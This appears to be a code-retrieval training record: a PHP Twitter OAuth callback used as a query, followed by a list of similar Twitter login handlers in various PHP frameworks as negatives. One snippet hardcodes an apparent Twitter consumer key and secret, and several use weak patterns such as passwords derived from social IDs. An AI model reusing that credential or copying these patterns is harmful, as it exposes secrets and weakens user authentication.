public function handleProviderCallback() { if (!Auth::check()) { return redirect('home'); } $user = Auth::user(); try { $twitterUser = Socialite::driver('twitter')->user(); $twitterAccount = new TwitterAccount(); if (isset($user->account)) { $twitterAccount = $user->account; } $twitterAccount->token = $twitterUser->token; $twitterAccount->token_secret = $twitterUser->tokenSecret; $twitterAccount->twitter_id = $twitterUser->user['id_str']; $twitterAccount->user_id = $user->id; $twitterAccount->save(); $twitterDetails = new TwitterDetails(); if (isset($user->details)) { $twitterDetails = $user->account; } $twitterDetails->name = $twitterUser->name; $twitterDetails->nickname = $twitterUser->nickname; $twitterDetails->avatar = $twitterUser->avatar; $twitterDetails->user_id = $user->id; $twitterDetails->save(); return redirect()->route('dashboard'); } catch (\Exception $e) { // dump($e); return redirect()->route('twitter.error'); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function handleTwitterCallback() {\n \n try {\n $google = Socialite::driver('twitter')->user();\n } \n catch (Exception $e) {\n return redirect('/');\n }\n\n $user = User::where('twitter_id', $google->getId())->first();\n\n if (!$user) {\n $user = User::create([\n 'google_id' => $google->getId(),\n 'username' => $google->getName(),\n 'email' => $google->getEmail(),\n 'password' => bcrypt($google->getId()),\n 'avatar' => $google->getAvatar(),\n 'users_status_id' => 1,\n 'users_role_id' => 3 \n ]);\n }\n\n auth()->login($user);\n #return redirect()->to('/home'); \n return redirect()->intended($this->socialRedirectTo);\n }", "public function handleProviderCallback()\n {\n $twitterUser = Socialite::driver('twitter')->user();\n\n $user = User::firstOrCreate([\n 'twitter_id' => $twitterUser->id,\n ], [\n 'nickname' => $twitterUser->nickname,\n 'name' => $twitterUser->name,\n 'email' => $twitterUser->email,\n 'twitter_token' => $twitterUser->token,\n 'twitter_secret' => $twitterUser->tokenSecret,\n ]);\n\n $user->update([\n 'twitter_token' => $twitterUser->token,\n 'twitter_secret' => $twitterUser->tokenSecret,\n ]);\n\n Auth::login($user);\n\n return redirect('tweets');\n }", "public function handleTwitterCallback(Request $request) {\n if (!Auth::check()) {\n return $this->abort(\"404\", ['request' => $request, 'code' => '404']);\n }\n if ($request->has('oauth_token')) {\n $user = Socialite::driver('twitter')->user();\n $session = Session::get('SOCIAL_USER');\n $social = new SocialLogin();\n //$social->checkSetUser($user, \"twitter\");\n\n Auth::user()->twitter_login_id = $user->id;\n Auth::user()->twitter_info = serialize($user);\n Auth::user()->update();\n $this->twitterdata();\n return redirect(\"/\");\n //return redirect(\"/\");\n } else {\n Session::flash(\"GLOBAL_ERROR\", \"Authentication failed from Twitter login\");\n }\n }", "public function callback()\n\t{\n\t\tif (isset($_REQUEST['oauth_token']) && $this->session->userdata('oauth_token') !== $_REQUEST['oauth_token']) {\n\t\t $this->session->set_userdata('oauth_status','oldtoken');\n\t\t redirect('twitter/clear_sessions');\n\t\t} \n\t\t/* Set parameter after request token */\n\t\t$params = array('consumer_key' => '3zrlsDUOxHKycBWGjs29Hg',\n\t\t 'consumer_secret' => 'ftmz0LfGjvYLPA7agWy1tr5jxt0XLW2x2oDisaKkU',\n\t\t\t\t\t\t'oauth_token' => $this->session->userdata('oauth_token'),\n\t\t\t\t\t\t'oauth_token_secret' => $this->session->userdata('oauth_token_secret')\n\t\t);\n\t\t\n\t\t/* Load Library Twitter Oauth*/\n\t\t$this->load->library('twitteroauth',$params);\n\t\t\n\t /* Build TwitterOAuth object with client credentials. */\n\t\t$connection = $this->twitteroauth;\n\t\t\n\t\t/* Request access tokens from twitter */\n\t\t$access_token = $connection->getAccessToken($_REQUEST['oauth_verifier']);\n\t\t\n\t\t/* Save the access tokens. Normally these would be saved in a database for future use. */\n $this->session->set_userdata('access_token',$access_token ) ;\n\t\t\n\t\t/* Remove no longer needed request tokens */\n\t\t$this->session->set_userdata('oauth_token','') ;\n\t\t$this->session->set_userdata('oauth_token_secret','') ;\n\n\t\t/* If HTTP response is 200 continue otherwise send to connect page to retry */\n\t\tif (200 == $connection->http_code) {\n\t\t/* The user has been verified and the access tokens can be saved for future use */\n\t\t $this->session->set_userdata('status','verified') ;\n\t\t redirect('twitter/verified');\n\t\t} else {\n\t\t/* Save HTTP status for error dialog on connnect page.*/\n\t\t redirect('twitter');\n\t\t}\n\t\n\t}", "public function twitter_signin()\r\n\t{\r\n\t\t// Enabling debug will show you any errors in the calls you're making, e.g:\r\n\t\t$this->tweet->enable_debug(false);\r\n\t\t\r\n\t\t// If you already have a token saved for your user\r\n\t\t// (In a db for example) - See line #37\r\n\t\t// \r\n\t\t// You can set these tokens before calling logged_in to try using the existing tokens.\r\n\t\t// $tokens = array('oauth_token' => 'foo', 'oauth_token_secret' => 'bar');\r\n\t\t// $this->tweet->set_tokens($tokens);\r\n\t\tif ( !$this->tweet->logged_in() )\r\n\t\t{\r\n\t\t\t// This is where the url will go to after auth. (Callback url)\r\n\t\t\t$this->tweet->set_callback(site_url('auth_other/twitter_signin'));\r\n\t\t\t\r\n\t\t\t// Send the user off for login!\r\n\t\t\t$this->tweet->login();\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t// check if the user is in the DB already\r\n\t\t\t$twitter_user = $this->tweet->call('get', 'account/verify_credentials');\r\n\t\t\tif( !($user = $this->member_model->get_user_by_sm(array('twitter_id' => $twitter_user->id), 'twitter_id'))) \r\n\t\t\t{\r\n\t\t\t\t// create the user\r\n\t\t\t\t$password = generate_password(9, 8);\r\n\t\t\t\t$this->tank_auth->create_user($twitter_user->screen_name . $twitter_user->id, $twitter_user->screen_name . $twitter_user->id, $password, false);\r\n\t\t\t\t$user = $this->generic_model->get_where_single_row('users', array('username' => $twitter_user->screen_name . $twitter_user->id));\r\n\t\t\t \t\r\n\t\t\t \t// update the user profile table\r\n\t\t\t\t$tokens = $this->tweet->get_tokens();\r\n\t\t\t\t$this->generic_model->update('user_profiles', \r\n\t\t\t\t\t\t\t\t\t\t \t array('twitter_id' => $twitter_user->id, \r\n\t\t\t\t\t\t\t\t\t\t \t \t 'display_name' => $twitter_user->screen_name,\r\n\t\t\t\t\t\t\t\t\t\t \t \t 'twitter_access_token' => $tokens['oauth_token'], \r\n\t\t\t\t\t\t\t\t\t\t \t \t 'twitter_access_token_secret' => $tokens['oauth_token_secret'], \r\n\t\t\t\t\t\t\t\t\t\t \t 'profile_image' => $twitter_user->profile_image_url), \r\n\t\t\t\t\t\t\t\t\t\t \t array('user_id' => $user->id));\r\n\t\t\t\t$user = $this->member_model->get_user_by_sm(array('twitter_id' => $twitter_user->id), 'twitter_id');\r\n\t\t\t\t$this->tank_auth_login($user);\r\n\t\t\t\tredirect('member/member_location', 'redirect');\t\t\t\t\t\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t$user = $this->member_model->get_user_by_sm(array('twitter_id' => $twitter_user->id), 'twitter_id');\r\n\t\t\t\t\r\n\t\t\t\t// if the profile image url is set to gravatar, then update to twitter profile pic\r\n\t\t\t\tif( strpos($user->profile_image, 'gravatar') !== false ) {\r\n\t\t\t\t\t$this->generic_model->update('user_profiles', array('profile_image' => $twitter_user->profile_image_url), array('user_id' => $user->id));\r\n\t\t\t\t\t$user->profile_image = $twitter_user->profile_image_url;\r\n\t\t\t\t}\r\n\t\t\t\t// if twitter access token is empty, then save it\r\n\t\t\t\tif( $user->twitter_access_token == '' || $user->twitter_access_token_secret == '') {\r\n\t\t\t\t\t$tokens = $this->tweet->get_tokens();\r\n\t\t\t\t\t$this->generic_model->update('user_profiles', \r\n\t\t\t\t\t\t\t\t\t\t\t\t array('twitter_access_token' => $tokens['oauth_token'], 'twitter_access_token_secret' => $tokens['oauth_token_secret']), \r\n\t\t\t\t\t\t\t\t\t\t\t\t array('user_id' => $user->id));\r\n\t\t\t\t}\r\n\t\t\t\t// user signs in and go to the login page\r\n\t\t\t\t$this->tank_auth_login($user);\r\n\t\t\t\tredirect('auth', 'refresh');\r\n\t\t\t}\r\n\t\t}\t\t\r\n\t}", "public function twitter()\n\t{\n\t\t$this->load->library('twitter/twitter');\n\n\t\t// Try to authenticate\n\t\t$auth = $this->twitter->oauth($this->settings->item('twitter_consumer_key'), $this->settings->item('twitter_consumer_key_secret'), $this->user->twitter_access_token, $this->user->twitter_access_token_secret);\n\n\t\tif ($auth!=1 && $this->settings->item('twitter_consumer_key') && $this->settings->item('twitter_consumer_key_secret'))\n\t\t{\n\t\t\tif (isset($auth['access_token']) && !empty($auth['access_token']) && isset($auth['access_token_secret']) && !empty($auth['access_token_secret']))\n\t\t\t{\n\t\t\t\t// Save the access tokens to the users profile\n\t\t\t\t$this->ion_auth->update_user($this->user->id, array(\n\t\t\t\t\t'twitter_access_token' \t\t => $auth['access_token'],\n\t\t\t\t\t'twitter_access_token_secret' => $auth['access_token_secret'],\n\t\t\t\t));\n\n\t\t\t\tif (isset($_GET['oauth_token']) )\n\t\t\t\t{\n\t\t\t\t\t$parts = explode('?', $_SERVER['REQUEST_URI']);\n\n\t\t\t\t\t// redirect the user since we've saved their info\n\t\t\t\t\tredirect($parts[0]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telseif ($auth == 1) {\n\t\t\tredirect('edit-settings', 'refresh');\n\t\t}\n\t}", "public function oauthTwitter() {\n\n\t // get data from input\n\t $token = Input::get( 'oauth_token' );\n\t $verify = Input::get( 'oauth_verifier' );\n\n\t // get twitter service\n\t $tw = OAuth::consumer( 'Twitter' );\n\n\t // check if code is valid\n\n\t // if code is provided get user data and sign in\n\t if ( !empty( $token ) && !empty( $verify ) ) {\n\n\t // This was a callback request from twitter, get the token\n\t $token = $tw->requestAccessToken( $token, $verify );\n\n\t // Send a request with it\n\t $response = json_decode( $tw->request( 'account/verify_credentials.json' ), true );\n\n\t // dd($result);\n\n\t // check if user already exists\n\t $user_id = $this->getUserIdGivenSocialId('twitter', (string)$response['id_str']);\n\n\t if($user_id) {\n\n\t \t// user already exists, sign them in\n\t \tAuth::login($user_id);\n\t\t\t\treturn Redirect::back();\n\t \n\t\t\t} else {\n\n\t\t\t\t// put google data into session var for use later\n\t\t\t\t$this->packSocialData('twitter', $response['id'], $response['screen_name'], null, null, 1);\n\n\t\t\t\t// send user to account create screen\n\t\t\t\treturn Redirect::to('users/create');\n\t\t }\n\n\n\t }\n\t // if not ask for permission first\n\t else {\n\t // get request token\n\t $reqToken = $tw->requestRequestToken();\n\n\t // get Authorization Uri sending the request token\n\t $url = $tw->getAuthorizationUri(array('oauth_token' => $reqToken->getRequestToken()));\n\n\t // return to twitter login url\n\t return Redirect::to( (string)$url );\n\t }\n\t}", "function twitter_oauth_callback() {\n if (isset($_GET['denied']) || empty($_GET['oauth_token'])) {\n drupal_set_message(t('The connection to Twitter failed. Please try again.'), 'error');\n global $user;\n if ($user->uid) {\n // User is logged in, was attempting to OAuth a Twitter account.\n drupal_goto('admin/config/services/twitter');\n }\n else {\n // Anonymous user, redirect to front page.\n drupal_goto('<front>');\n }\n }\n $form_state['values']['oauth_token'] = $_GET['oauth_token'];\n drupal_form_submit('twitter_oauth_callback_form', $form_state);\n}", "public function actionTwitterCallback()\n {\n session_start();\n require_once('protected/vendors/twitteroauth-master/twitteroauth/twitteroauth.php');\n require_once('protected/vendors/twitteroauth-master/config.php');\n\n /* If the oauth_token is old redirect to the connect page. */\n if (isset($_REQUEST['oauth_token']) && $_SESSION['oauth_token'] !== $_REQUEST['oauth_token']) {\n $_SESSION['oauth_status'] = 'oldtoken';\n unset($_SESSION['oauth_token']);\n unset($_SESSION['oauth_token_secret']);\n $urlIni = Yii::app()->createUrl(\"\");\n header(\"Location: $urlIni\");\n return true;\n\n }\n\n if (!isset($_REQUEST['oauth_verifier']))\n {\n echo \"ok\";\n unset($_SESSION['oauth_token']);\n unset($_SESSION['oauth_token_secret']);\n $urlIni = Yii::app()->createUrl(\"\");\n header(\"Location: $urlIni\");\n return true;\n }\n\n /* Create TwitteroAuth object with app key/secret and token key/secret from default phase */\n $connection = new TwitterOAuth(CONSUMER_KEY, CONSUMER_SECRET, $_SESSION['oauth_token'], $_SESSION['oauth_token_secret']);\n\n /* Request access tokens from twitter */\n $access_token = $connection->getAccessToken($_REQUEST['oauth_verifier']);\n\n /* Save the access tokens. Normally these would be saved in a database for future use. */\n $_SESSION['access_token'] = $access_token;\n\n \n\n /* Remove no longer needed request tokens */\n unset($_SESSION['oauth_token']);\n unset($_SESSION['oauth_token_secret']);\n\n /* If HTTP response is 200 continue otherwise send to connect page to retry */\n if (200 == $connection->http_code) {\n /* The user has been verified and the access tokens can be saved for future use */\n $_SESSION['status'] = 'verified';\n\n $user = $connection->get('account/verify_credentials');\n $this->GuardarEnBD($user->name,$access_token[\"oauth_token_secret\"]);\n \n } else \n {\n /* Save HTTP status for error dialog on connnect page.*/\n unset($_SESSION['access_token']);\n $urlIni = Yii::app()->createUrl(\"\");\n header(\"Location: $urlIni\");\n }\n }", "public function twitterAction()\r\n {\r\n if(!($userInfo = Mage::getSingleton('customer/session')\r\n ->getSocialLogonTwitterUserinfo()) || !$userInfo->hasData()) {\r\n \r\n $userInfo = Mage::getSingleton('SocialLogon/twitter_info_user')\r\n ->load();\r\n\r\n Mage::getSingleton('customer/session')\r\n ->setSocialLogonTwitterUserinfo($userInfo);\r\n }\r\n\r\n Mage::register('SocialLogon_twitter_userinfo', $userInfo);\r\n\r\n $this->loadLayout();\r\n $this->renderLayout();\r\n }", "public function redirectToConnectPage()\n\t{\n\t\t/* Reset api to ensure user is not logged in */\n\t\t$this->resetApi();\n\t\t\n\t\t/* Append OAUTH URL */\n\t\t$_urlExtra = '';\n\t\t$key = '';\n\t\t\n\t\t/* From registration/log in? */\n\t\tif ( ! $this->memberData['member_id'] AND $this->request['_reg'] )\n\t\t{\n\t\t\t/* Create validating account for the member */\n\t\t\t$key = md5( uniqid( microtime() ) );\n\t\t\t\n\t\t\t/* Append URL with correct member ID and other params */\n\t\t\t$_urlExtra = '&_reg=1&key=' . $key;\n\t\t}\n\t\t\n\t\t/* Generate oAuth token */\n\t\t$rToken = $this->_api->getRequestToken( OAUTH_CALLBACK . $_urlExtra );\n\t\t\t\t\n\t\tif ( $rToken['oauth_token'] AND $rToken['oauth_token_secret'] )\n\t\t{\n\t\t\t/* From registration? */\n\t\t\tif ( $_urlExtra )\n\t\t\t{\n\t\t\t\t/* Create validating account for the member */\n\t\t\t\t$this->DB->insert( 'twitter_connect', array( 't_key'\t=> $key,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 't_token' => $rToken['oauth_token'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 't_secret' => $rToken['oauth_token_secret'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 't_time' => time() ) );\n\t\t\t}\n\n\t\t\t/* Update user's row */\n\t\t\tif ( $this->memberData['member_id'] )\n\t\t\t{\n\t\t\t\tIPSMember::save( $this->memberData['member_id'], array( 'core' => array( 'twitter_token' => $rToken['oauth_token'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'twitter_secret' => $rToken['oauth_token_secret'] ) ) );\n\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\t\t\tif ( $this->_api->http_code == 200 )\n\t\t\t{\n\t\t\t\t$url = $this->_api->getAuthorizeURL( $rToken['oauth_token'] );\n \t\t\t$this->registry->output->silentRedirect( $url );\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tprint \"There was an error connecting to Twitter\";\n\t\t\t\texit();\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* Twitter application is not set up correctly */\n\t\t\t$this->registry->output->showError( 'twitter_app_error', 0.717734 );\n\t\t}\n\t}", "function callback_handler() {\n global $CFG, $DB, $SESSION;\n \n $client_key = $this->config->client_key;\n $client_secret = $this->config->client_secret;\n $wordpress_host = $this->config->wordpress_host;\n \n // strip the trailing slashes from the end of the host URL to avoid any confusion (and to make the code easier to read)\n $wordpress_host = rtrim($wordpress_host, '/');\n \n // at this stage we have been provided with new permanent token\n $connection = new BasicOAuth($client_key, $client_secret, $_SESSION['oauth_token'], $_SESSION['oauth_token_secret']);\n \n $connection->host = $wordpress_host . \"/wp-json\";\n \n $connection->accessTokenURL = $wordpress_host . \"/oauth1/access\";\n \n $tokenCredentials = $connection->getAccessToken($_REQUEST['oauth_verifier']);\n \n if(isset($tokenCredentials['oauth_token']) && isset($tokenCredentials['oauth_token_secret'])) {\n \n $perm_connection = new BasicOAuth($client_key, $client_secret, $tokenCredentials['oauth_token'],\n $tokenCredentials['oauth_token_secret']);\n \n $account = $perm_connection->get($wordpress_host . '/wp-json/wp/v2/users/me?context=edit');\n \n if(isset($account)) {\n // firstly make sure there isn't an email collision:\n if($user = $DB->get_record('user', array('email'=>$account->email))) {\n if($user->auth != 'wordpress') {\n print_error('usercollision', 'auth_wordpress');\n }\n }\n \n // check to determine if a user has already been created... \n if($user = authenticate_user_login($account->username, $account->username)) {\n // TODO update the current user with the latest first name and last name pulled from WordPress?\n \n if (user_not_fully_set_up($user, false)) {\n $urltogo = $CFG->wwwroot.'/user/edit.php?id='.$user->id.'&amp;course='.SITEID;\n // We don't delete $SESSION->wantsurl yet, so we get there later\n \n }\n } else {\n require_once($CFG->dirroot . '/user/lib.php');\n \n // we need to configure a new user account\n $user = new stdClass();\n \n $user->mnethostid = $CFG->mnet_localhost_id;\n $user->confirmed = 1;\n $user->username = $account->username;\n $user->password = AUTH_PASSWORD_NOT_CACHED;\n $user->firstname = $account->first_name;\n $user->lastname = $account->last_name;\n $user->email = $account->email;\n $user->description = $account->description;\n $user->auth = 'wordpress';\n \n $id = user_create_user($user, false);\n \n $user = $DB->get_record('user', array('id'=>$id));\n }\n \n complete_user_login($user);\n \n if (isset($SESSION->wantsurl) and (strpos($SESSION->wantsurl, $CFG->wwwroot) === 0)) {\n $urltogo = $SESSION->wantsurl; /// Because it's an address in this site\n unset($SESSION->wantsurl);\n \n } else {\n $urltogo = $CFG->wwwroot.'/'; /// Go to the standard home page\n unset($SESSION->wantsurl); /// Just in case\n }\n \n /// Go to my-moodle page instead of homepage if defaulthomepage enabled\n if (!has_capability('moodle/site:config',context_system::instance()) and !empty($CFG->defaulthomepage) && $CFG->defaulthomepage == HOMEPAGE_MY and !isguestuser()) {\n if ($urltogo == $CFG->wwwroot or $urltogo == $CFG->wwwroot.'/' or $urltogo == $CFG->wwwroot.'/index.php') {\n $urltogo = $CFG->wwwroot.'/my/';\n }\n }\n \n redirect($urltogo);\n \n exit;\n }\n }\n }", "public function handleCallback()\n {\n $this->getHttpClient()->getStorage()->retrieveAccessToken('WithingsOAuth');\n\n $accessToken = $this->getHttpClient()->requestAccessToken(\n $_GET['oauth_token'],\n $_GET['oauth_verifier'],\n $this->getHttpClient()->getStorage()->retrieveAccessToken('WithingsOAuth')->getRequestTokenSecret()\n );\n\n // Store the newly created access token\n $accessTokenObj = (new OAuthAccessToken)\n ->setUser($this->getUser())\n ->setServiceProvider($this->getServiceProvider())\n ->setForeignUserId($_GET['userid'])\n ->setToken($accessToken->getAccessToken())\n ->setSecret($accessToken->getAccessTokenSecret());\n\n $this->getPersistence()->persist($accessTokenObj);\n $this->getPersistence()->flush();\n }", "public function twitterAction()\n {\n if(!($userInfo = Mage::getSingleton('customer/session')\n ->getInchooSocialconnectTwitterUserinfo())) {\n $userInfo = Mage::getSingleton('rootinfo_socialconnect/twitter_userinfo')\n ->getUserInfo();\n \n Mage::getSingleton('customer/session')->setInchooSocialconnectTwitterUserinfo($userInfo);\n }\n \n Mage::register('rootinfo_socialconnect_twitter_userinfo', $userInfo);\n \n $this->loadLayout();\n $this->renderLayout();\n }", "private function checkLogin() {\n if (!$this->checkConfig()) return;\n $config = $this->getConfig();\n\n if (isset($_SESSION['signin/twitter/status']) && $_SESSION['signin/twitter/status']=='verified') {\n\n $screenname = $_SESSION['signin/twitter/request_vars']['screen_name'];\n $twitterid = $_SESSION['signin/twitter/request_vars']['user_id'];\n $oauth_token = $_SESSION['signin/twitter/request_vars']['oauth_token'];\n $oauth_token_secret = $_SESSION['signin/twitter/request_vars']['oauth_token_secret'];\n\n $connection = new TwitterOAuth($config['consumer_key'], $config['consumer_secret'], $oauth_token, $oauth_token_secret);\n\n // check if we already have this Twitter user in our database\n $user = UserQuery::create()->findOneByOAuthSignIn('twitter::' . $twitterid);\n if (!$user) {\n // if not we create a new one\n $user = new User();\n $user->setCreatedAt(time());\n $user->setOAuthSignIn('twitter::' . $twitterid);\n // we use the email field to store the twitterid\n $user->setEmail('');\n $user->setRole(UserPeer::ROLE_EDITOR); // activate user rigth away\n $user->setName($screenname);\n $user->setSmProfile('https://twitter.com/'.$screenname);\n $user->save();\n }\n DatawrapperSession::login($user);\n }\n }", "public function twitter() {\n $user_id = $this->Session->read('Auth.User.id');\n //twitter object\n $twitter = new TwitterOAuth($this->Twitter->CONSUMER_KEY, $this->Twitter->CONSUMER_SECRET);\n //if a request for process\n if (isset($_GET['type_request']) && $_GET['type_request'] === 'twitter') {\n //new user profile request\n $user_access_data = $twitter->oauth('oauth/access_token', array('oauth_token' => $_GET['oauth_token'], 'oauth_verifier' => $_GET['oauth_verifier']));\n //create user's oauth object\n $post = new TwitterOAuth($this->Twitter->CONSUMER_KEY, $this->Twitter->CONSUMER_SECRET, $user_access_data['oauth_token'], $user_access_data['oauth_token_secret']);\n //get user's profile\t\t\n $profile = $post->get(\"users/lookup\", array('user_id' => $user_access_data['user_id']));\n //Save profile\n $save['uid'] = $user_id;\n $save['tw_id'] = $profile[0]->id;\n $save['access_token'] = $user_access_data['oauth_token'];\n $save['access_token_secret'] = $user_access_data['oauth_token_secret'];\n $save['name'] = $profile[0]->name;\n $save['screeen_name'] = $profile[0]->screen_name;\n $save['followers_count'] = $profile[0]->friends_count;\n $save['followedby_count'] = $profile[0]->followers_count;\n $save['p_picture'] = $profile[0]->profile_image_url;\n $save['link'] = $profile[0]->url;\n $save['timezone'] = $profile[0]->time_zone;\n //if exists\n if ($this->Twitter->newProfile($user_id, $profile[0]->id)) {\n //Save and redirect\n if ($this->Twitter->save($save)) {\n //Redirect user added\n $this->Session->setFlash(__(\"Profile saved.\"), 'cake-success');\n $this->redirect(array('action' => 'index'));\n }\n //WTF happened...\n else {\n $this->Session->setFlash(__(\"Something went wrong saving Twitter profile! Please try again later.\"), 'cake-error');\n $this->redirect(array('action' => 'index'));\n }\n } else {\n //User exists.\n // When validation fails or other local issues\n $this->Session->setFlash(__(\"User already linked! Logout from Twitter and login with a diffrent account.\"), 'cake-error');\n $this->redirect(array('action' => 'index'));\n }\n } else {\n //Request for approval\n // create a link\n $tokens = $twitter->oauth('oauth/request_token', array('oauth_callback' => $this->Twitter->OAUTH_CALLBACK));\n //get token's\n $app_oauth_token = $tokens['oauth_token'];\n $app_oauth_token_secret = $tokens['oauth_token_secret'];\n //if successful\n //build url \t\t\n $url = $twitter->url('oauth/authorize', array('oauth_token' => $app_oauth_token, 'oauth_callback' => $this->Twitter->OAUTH_CALLBACK));\n //redirect\n $this->redirect($url);\n }\n }", "public function twitterEnterAction() {\n //get the translator object\n $translator = $this->get('translator');\n //get the request object\n $request = $this->getRequest();\n //get the session object\n $session = $request->getSession();\n //get the oauth token from the session\n $oauth_token = $session->get('oauth_token', FALSE);\n //get the oauth token secret from the session\n $oauth_token_secret = $session->get('oauth_token_secret', FALSE);\n //get the twtiter id from the session\n $twitterId = $session->get('twitterId', FALSE);\n //get the screen name from the session\n $screen_name = $session->get('screen_name', FALSE);\n //check if we got twitter data\n if ($oauth_token && $oauth_token_secret && $twitterId && $screen_name) {\n //get the entity manager\n $em = $this->getDoctrine()->getManager();\n //check if the user twitter id is in our database\n $user = $em->getRepository('ObjectsUserBundle:SocialAccounts')->getUserWithRolesByTwitterId($twitterId);\n //check if we found the user\n if ($user) {\n //get the social accounts object object\n $socialAccounts = $user->getSocialAccounts();\n //user found check if the access tokens have changed\n if ($socialAccounts->getOauthToken() != $oauth_token) {\n //tokens changed update the tokens\n $socialAccounts->setOauthToken($oauth_token);\n $socialAccounts->setOauthTokenSecret($oauth_token_secret);\n //save the new access tokens\n $em->flush();\n }\n //try to login the user\n try {\n // create the authentication token\n $token = new UsernamePasswordToken($user, null, 'main', $user->getRoles());\n // give it to the security context\n $this->get('security.context')->setToken($token);\n //redirect the user\n return $this->redirectUserAction();\n } catch (\\Exception $e) {\n //set the error flag in the session\n $session->getFlashBag()->set('error', $translator->trans('twitter connection error') . ' <a href=\"' . $this->generateUrl('twitter_authentication', array('redirectRoute' => 'twitter_enter')) . '\">' . $translator->trans('try again') . '</a>');\n //can not reload the user object log out the user\n $this->get('security.context')->setToken(null);\n //invalidate the current user session\n $session->invalidate();\n //redirect to the login page\n return $this->redirect($this->generateUrl('login'));\n }\n }\n //create a new user object\n $user = new User();\n //create an email form\n $form = $this->createFormBuilder($user, array(\n 'validation_groups' => array('email')\n ))\n ->add('email', 'repeated', array(\n 'type' => 'email',\n 'first_name' => 'Email',\n 'second_name' => 'ReEmail',\n 'invalid_message' => \"The emails don't match\",\n ))\n ->getForm();\n //check if this is the user posted his data\n if ($request->getMethod() == 'POST') {\n //fill the form data from the request\n $form->handleRequest($request);\n //check if the form values are correct\n if ($form->isValid()) {\n //get the container object\n $container = $this->container;\n //get the user object from the form\n $user = $form->getData();\n //request additional user data from twitter\n $content = TwitterController::getCredentials($container->getParameter('consumer_key'), $container->getParameter('consumer_secret'), $oauth_token, $oauth_token_secret);\n //check if we got the user data\n if ($content) {\n //get the name parts\n $name = explode(' ', $content->name);\n if (!empty($name[0])) {\n $user->setFirstName($name[0]);\n }\n if (!empty($name[1])) {\n $user->setLastName($name[1]);\n }\n //set the additional data\n $user->setUrl($content->url);\n //set the about text\n $user->setAbout($content->description);\n //try to download the user image from twitter\n $image = TwitterController::downloadTwitterImage($content->profile_image_url, $user->getUploadRootDir());\n //check if we got an image\n if ($image) {\n //add the image to the user\n $user->setImage($image);\n }\n }\n //create social accounts object\n $socialAccounts = new SocialAccounts();\n $socialAccounts->setOauthToken($oauth_token);\n $socialAccounts->setOauthTokenSecret($oauth_token_secret);\n $socialAccounts->setTwitterId($twitterId);\n $socialAccounts->setScreenName($screen_name);\n $socialAccounts->setUser($user);\n //set the user twitter info\n $user->setSocialAccounts($socialAccounts);\n //check if we need to set a login name\n if ($container->getParameter('login_name_required')) {\n //set a valid login name\n $user->setLoginName($this->suggestLoginName($screen_name));\n }\n //user data are valid finish the signup process\n return $this->finishSignUp($user);\n }\n }\n return $this->render('ObjectsUserBundle:User:twitter_signup.html.twig', array(\n 'form' => $form->createView()\n ));\n } else {\n //something went wrong clear the session and set a flash to try again\n $session->clear();\n //set the error flag in the session\n $session->getFlashBag()->set('error', $translator->trans('twitter connection error') . ' <a href=\"' . $this->generateUrl('twitter_authentication', array('redirectRoute' => 'twitter_enter')) . '\">' . $translator->trans('try again') . '</a>');\n //twitter data not found go to the login page\n return $this->redirect($this->generateUrl('login', array(), TRUE));\n }\n }", "public function authenticate()\n\t{\n\t\t$consumer = Consumer::make($this->config);\n\t\t\n\t\t// Load the provider\n\t\t$provider = Provider::make($this->provider);\n\t\t\n\t\t// Create the URL to return the user to\n\t\t$callback = array_get($this->config, 'callback') ?: \\URL::to(\\Config::get('oneauth::urls.callback', 'connect/callback'));\n\t\t$callback = rtrim($callback, '/').'/'.$this->provider;\n\t\t\n\t\t// Add the callback URL to the consumer\n\t\t$consumer->callback($callback); \n\n\t\t// Get a request token for the consumer\n\t\t$token = $provider->request_token($consumer);\n\n\t\t// Store the token\n\t\t\\Cookie::put('oauth_token', base64_encode(serialize($token)));\n\n\t\t// Redirect to the twitter login page\n\t\treturn \\Redirect::to($provider->authorize_url($token, array(\n\t\t\t'oauth_callback' => $callback,\n\t\t)));\n\t}", "public function completed()\r\n {\r\n // Twitter hands us back to this URL and we have to then make\r\n // some background OAuth requests to obtain the users keys\r\n //\r\n // You have to follow an sequence of API calls to achieve this\r\n // Rather than make it one single call I split it up so\r\n // It is a) easier to understand the process and b) because\r\n // a lot of this is \"blocking\" calls and so it makes it somewhat\r\n // easier to debug\r\n if($this->twitter->check_login() == False)\r\n {\r\n // This gets the tokens from the database ready to trade\r\n $this->twitter->sessionRequestTokens();\r\n \r\n // Now we go to Twitter direct and ask to trade the request\r\n // tokens for access tokens (the ones that give us Oauth\r\n // privileges). This uses CURL.\r\n $this->twitter->tradeRequestForAccess();\r\n \r\n // Tries to store the tokens in OUR db\r\n // Also sets a cookie to remember we did all this\r\n if($this->twitter->storeTokens())\r\n {\r\n\r\n // if successful we head back to further demo's :)\r\n url::redirect('/');\r\n }\r\n else\r\n {\r\n echo \"help - a wierd error occured somewhere. Check your installation again\";\r\n }\r\n \r\n }\r\n else\r\n {\r\n url::redirect('/ktwitter/demo');\r\n }\r\n }", "public function callback(SocialTwitterAccountService $service)\n {\n \n $user = $service->createOrGetUser(Socialite::driver('twitter')->user());\n auth()->login($user);\n Session::flash('success','Login successfully to futurestarr!');\n return redirect()->to('/home');\n }", "public function callback(SocialTwitterAccountService $service)\n {\n $user = $service->createOrGetUser(Socialite::driver('twitter')->user());\n auth()->login($user);\n return redirect()->to('/home');\n }", "public function success() {\n\t\techo 'Twitter connect succeded<br/>';\n\t\techo '<p><a href=\"' . base_url() . 'twtest/clearsession\">Do it again!</a></p>';\n\n\t\t$this->load->library('twconnect');\n\n\t\t// saves Twitter user information to $this->twconnect->tw_user_info\n\t\t// twaccount_verify_credentials returns the same information\n\t\t$this->twconnect->twaccount_verify_credentials();\n\n\t\techo 'Authenticated user info (\"GET account/verify_credentials\"):<br/><pre>';\n\t\tprint_r($this->twconnect->tw_user_info); echo '</pre>';\n\t\t\n\t}", "function 